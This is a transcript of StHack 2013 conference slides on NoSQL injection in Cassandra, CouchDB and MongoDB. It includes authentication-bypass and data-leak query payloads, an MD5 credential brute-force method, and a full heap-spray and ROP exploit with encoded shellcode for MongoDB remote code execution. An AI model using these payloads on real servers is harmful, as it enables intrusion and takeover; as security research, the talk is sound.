Top Banner
No SQL injection but NoSQL Injection NoSecurity or not ? 1
36

StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

Dec 05, 2014

Download

Technology

StHack

La mouvance NoSQL fait de plus en plus parler d'elle. La plupart du temps open source, les implémentations sont nombreuses et offrent des alternatives intéressantes à la rigidité du SQL. Malheureusement ces diverses solutions NoSQL (MongoDB, CouchDB, Cassandra...) débarquent avec NoSecurity. Nous verrons que, tout comme le SQL, une mauvaise utilisation des clients/drivers peut avoir des conséquences tout aussi critique, si ce n'est plus...
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

No SQL injection but NoSQL Injection

NoSecurity or not ?

1

Page 2: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

2

Plans

› What's/Why NoSQL ?

› Work in progress› Cassandra› CouchDB

› Mass pwnage...

Page 3: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

3

NoSQL fashion way of life

› Database system› ''Not only SQL''› More simple› Flexible Schema› Easier scalability/replication› No SQL language› Young and hipster

Page 4: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

4

NoSQL Hipsters

Page 5: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

5

Cassandra

› Key-Value based› Java› HomeMade Protocol› Port 9160› SSL available› Authentication available› CQL

Page 6: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

6

Cassandra › Let's find CQL injection› Cassandra model

› Keyspace (=database)› ColumnFamily (=table)› Key with no fixed Columns

› OR 1=1 ?

Page 7: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

7

Cassandra › WHERE CONDITION

› No OR› No UNION› No subrequests› Term must be indexed

columns

Page 8: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

8

To be continued...

Page 9: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

9

CouchDB

› Documents based› Erlang› RESTfull protocol› SSL available› Port 5984› Authentication available› Javascript based

Page 10: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

10

CouchDB - RESTfull

› Use HTTP protocol only› GET, PUT, POST, DELETE...

› curl -X PUT http://localhost:5984/test/

› curl -X POST http://localhost:5984/test/ -H "Content-Type:

application/json" -d {name : 'value'}

› curl -X GET http://localhost:5984/test/_all_docs

› curl -X DELETE http://localhost:5984/test/

› CSRF ?› SOP protected

Page 11: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

11

CouchDB - Javascript

› JSON documents

› Special _design documents› views› shows› lists› validate_doc_update

› All in JS› SSJI ?

Page 12: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

12

CouchDB - SSJI

› No function rewriting› No variable leak

› _design leak

curl -X GET http://localhost:5984/my_db/_design/articles/_show/eval/?test=JSON.stringify(this.validate_doc_update)

"function(newDoc, oldDoc, userCtx) { if(newDoc.auth!='secret') { throw('NO!'); } }"

Page 13: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

13

To be continued...

Page 14: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

14

0day inside

Page 15: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

15

mongoDB

› Documents based› C/C++› Home Made protocol› SSL available› Port 27017› Authentication available› Javascript based

Page 16: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

16

mongoDB – Home Made Protocol› Bson based› Challenge response authentication

Nonce : e16fb6a8c31ac15aUser : agix

Key : 3f5c7a073c3fb54c96b860b7f397bfc7

Page 17: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

17

./src/mongo/client/dbclient.cpp

Nonce : e16fb6a8c31ac15aUser : agix

Key : 3f5c7a073c3fb54c96b860b7f397bfc7

Page 18: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

18

mongoDB – Home Made Protocolkey=md5(nonce+username+md5(username+':mongo :'+clearPassword))

Bruteforce !› md5('agix:mongo:toto')='1fdea392256218a5f3afa9918733fab4'› md5('e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4')=› e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4!=key›

› md5('agix:mongo:password')='725d67fffa6b8fc54b6950407f9dc810'› md5('e16fb6a8c31ac15aagix725d67fffa6b8fc54b6950407f9dc810')=› '3f5c7a073c3fb54c96b860b7f397bfc7'==key

Key : 3f5c7a073c3fb54c96b860b7f397bfc7›

Page 19: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

19

mongoDB – Associative Array

› DatabaseCollections

Documents› Data manipulation with JSON array

› db.my_collection.insert({key_name:"value",my_array:[1,2,3],

my_assoc_array:{key1_name:"value",key2_name:"value"}})

› db.my_collection.find({key_name : "value"})

› Special KeyName : operator

Page 20: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

20

mongoDB – operators

› Only on update and find query› Conditions

› Comparison ($gt, $in, $ne...)› Logical ($and, $or, $nor, $not)› Element ($exists, $type, $mod)› Javascript ($where, $regex)

› Data manipulation with JSON array› db.my_collection.find({key_name : {$exists:true, $in:[1,2,3]}})

Page 21: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

21

mongoDB –

Page 22: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

22

mongoDB –

› $_POST is an array › login=test&pass=test => {'login' : 'test', 'pass' : 'test'}

› $_POST can be an associative array› login[$ne]=test&pass[$ne]=test => {'login' : {'$ne' : 'test'},

'pass' : {'$ne' : 'test'}}

Page 23: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

23

mongoDB –

› Authentication bypass

› Informations leak ?› login[$regex]=^.{4}$&pass[$ne]=test => {'login' : {'$regex' :

'^a.*'}, 'pass' : {'$ne' : 'test'}}› login[$regex]=^a.*$&pass[$ne]=test => {'login' : {'$regex' :

'^a.*'}, 'pass' : {'$ne' : 'test'}}

Page 24: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

24

mongoDB –

› $regex to get actual document leak› More leak ?

› $WHERE !

› $where=1==1&login[$exists]=test&pass[$exists]=test

Page 25: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

25

mongoDB – Blind true/false based

› db.getCollectionNames().length

› db.getCollectionNames()[0][0]

› tojson(db.secret.find({},{_id:0})[0])[3]

Page 26: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

26

mongoDB – What else› Check javascript methods on mongo website

› http://docs.mongodb.org/manual/reference/method/run/

› Let's check internal usage...

Page 27: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

27

mongoDB – SSJI => RCE

function apply() { [native code]}

function () { return nativeHelper.apply(run_, arguments);}

run

nativeHelper.apply

Page 28: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

28

./src/mongo/scripting/engine_spidermonkey.cpp

function apply() { [native code]}

function () { return nativeHelper.apply(run_, arguments);}

run

nativeHelper.apply

Page 29: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

29

mongoDB – SSJI => RCE$where=nativeHelper.apply({"x" : 0x31337},

[])&login[$exists]=test&pass[$exists]=test

Page 30: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

30

mongoDB – Exploitation

› JAVASCRIPT SERVER SIDE EXPLOIT !

› Write reliable exploit› 32 bits binary› NX bypass› ASLR bypass

› Not stack overflow› No stack control› EIP is not enough

Page 31: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

31

mongoDB – Exploitationdb.my_collection.find({'$where':'tag=unescape("%udb31%ue3f7%u4353%u6a53%u8902%ub0e1%ucd66%u9380%ub059%ucd3f%u4980%uf979%uac68%u9310%u6801%u0002%u697a%ue189%u66b0%u5150%ub353%u8903%ucde1%u5280%u2f68%u732f%u6868%u622f%u6e69%ue389%u5352%ue189%u0bb0%u80cd"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-tag.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+tag; } tag2=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++){ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-tag2.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+tag2; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"\x26\x18\x35\x08"+"MongoSploit!"+"\x58\x71\x45\x08"+"sthack is a nice place to be"+"\x6c\x5a\x05\x08"+"\x20\x20\x20\x20"+"\x58\x71\x45\x08"]);','login':{$exists:'toto'},'pass':{$exists:'toto'}})

Page 32: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

32

mongoDB – Exploitation

› Land to the stack› PIVOT 1

› [Eax] => pointer+0xb => nativeHelper argument› Gadget 1 : Mov eax, [eax] … call [eax+0x1c]› nativeHelper argument is UTF8 encoded without null

byte› eax+0x1c : gadget 2 : xchg esp, eax [inc esp], ret› Esp-1 => begining of nativeHelper argument› Gadget 3 : [inc esp] to clean stack control

Page 33: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

33

mongoDB – Exploitation

› Control the stack› UTF8 and no null byte in nativeHelper argument› PIVOT 2 => to the rop chain heap sprayed

› Gadget 4 : pop eax, ... ret› Eax => rop chain in the heap (0x20202020)› Gadget 5 : xchg esp,eax … ret› RetSled› Stack control done !

Page 34: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

34

mongoDB – Exploitation

› Execute shellcode› First Heap Spray with nopsled+shellcode› mmap RWX the heap› Jump to the heap (0x0C0C0C0C)› Enjoy !

Page 35: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

35

mongoDB – Exploitation

› To improve› Heap spray is for pork !› 64 bits exploit... (null byte :o :o :o)› Windows exploit› Multiple version exploit

Page 36: StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

36

The end

› Still mongo 0day \o/› A lot of work to do...

› NoSQL is not so bad !